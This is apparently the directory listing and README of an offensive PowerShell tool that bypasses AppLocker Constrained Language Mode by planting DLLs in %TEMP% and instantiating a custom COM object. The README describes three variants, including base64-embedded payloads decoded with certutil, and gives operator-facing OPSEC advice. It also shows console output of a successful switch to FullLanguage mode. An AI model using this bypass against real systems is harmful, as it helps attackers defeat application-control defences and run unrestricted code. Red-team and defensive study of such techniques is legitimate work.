ec9b741956 | ||
---|---|---|
.. | ||
ClmDisableAssembly | ||
ClmDisableDll | ||
Bypass-CLM-Mini.ps1 | ||
Bypass-CLM.ps1 | ||
Bypass-CLM2.ps1 | ||
ClmDisableAssembly.dll | ||
ClmDisableDll64.dll | ||
ClmDisableDll86.dll | ||
README.md |
README.md
Bypass-ConstrainedLanguageMode
Tries to bypass AppLocker Constrained Language Mode via custom COM object (as documented by @xpn in: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/ ) This directory contains three DLLs, namely:
ClmDisableDll86.dll
,ClmDisableDll64.dll
,ClmDisableAssembly.dll
.
They are going to be copied into %TEMP%
directory. Then one of Powershell scripts choosen will create a COM object pointing to ClmDisableDllYY.dll
library (depending on platform architecture detected).
This effectively COM will instantiate an InProcServer32
dll that is a native .NET4 CLR host responsible for loading provided assembly in current AppDomain. The assembly will finally put a FullLanguage
value into LanguageMode
property of session data context. This should disable CLM for current Runspace.
Three scripts constitute this bypass, whereas the use of only one is sufficient:
Bypass-CLM.ps1
- the original one, that is inteded to be put side by side with three acompanying files. It does not include any of that DLL files, merely copies them to TEMP, creates a COM object and instantiates a new instance of that COM.Bypass-CLM2.ps1
- the same as above but with the difference that it embeds all of the three DLL files in form of a Base64 encoded blob. This blob will be then written to TEMP in form of text file, which will get decoded usingcertutil -decode
(OPSEC Warning!)Bypass-CLM-Mini.ps1
- the same as above (Bypass-CLM2.ps1
) but with the difference that the entire script was itself Base64 encoded. It will be decoded usingcertutil -decode
(OPSEC Warning!) and then proceeds with it's logic.
Successful launch of these script looks as follows:
PS > $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS > .\Bypass-CLM.ps1
AppLocker Constrined Language Mode Bypass via COM
(implementation of: @xpn's technique, as documented in:)
(https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/)
Re-implemented, enhanced by: Mariusz B., mgeeky
-----
[.] Step 0. Planted DLL files in:
C:\Users\danj\AppData\Local\Temp\ClmDisableAssembly.dll
C:\Users\danj\AppData\Local\Temp\ClmDisableDll.dll
[.] Step 1. Creating custom COM object.
[.] Step 2. Invoking it (ClmDisableDll)...
Powershell runspace Thread ID: 8716
[+] Managed mode assembly. Disabling CLM globally.
Current thread ID (managed/unmanaged): 8 / 8716
Passed argument: '(called from native CLR host)'
============
Use below command to disable CLM on Demand (ignore errors):
PS> New-Object -ComObject ClmDisableDll
============
[+] Finished. CLM status: FullLanguage
PS > New-Object -ComObject ClmDisableDll
PS > $ExecutionContext.SessionState.LanguageMode
FullLanguage
And for the mini version of that script:
PS > .\Bypass-CLM-Mini.ps1
Input Length = 308574
Output Length = 115712
CertUtil: -decode command completed successfully.
[+] Managed mode assembly. Disabling CLM globally.
Current thread ID (managed/unmanaged): 8 / 8716
Passed argument: '(called from native CLR host)'
[+] Finished. CLM status: FullLanguage
Since this script only alters static variable determining CLM mode from within a separated Runspace dedicated to loaded Assembly, we need to instantiate our own COM object within working Powershell environment like so:
PS> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS> New-Object -ComObject ClmDisableDll
PS> $ExecutionContext.SessionState.LanguageMode
FullLanguage
Any further commands will be executed in CLM disabled runspace.
Things to consider for OPSEC:
- This script comes with three additional DLL files:
ClmDisable86.dll
,ClmDisable64.dll
,ClmDisableAssembly.dll
. They're going to be inserted into%TEMP%
. - Scipts
Bypass-CLM2.ps1
andBypass-CLM-Mini.ps1
create text files within%TEMP%
and usecertutil -decode
to base64 decode them. - This bypass works only for the current Runspace, therefore it is required to put your commands at the end of these
Bypass-*.ps1
scripts or to instantiate a New-Object within working PowerShell environment to leverage the bypass.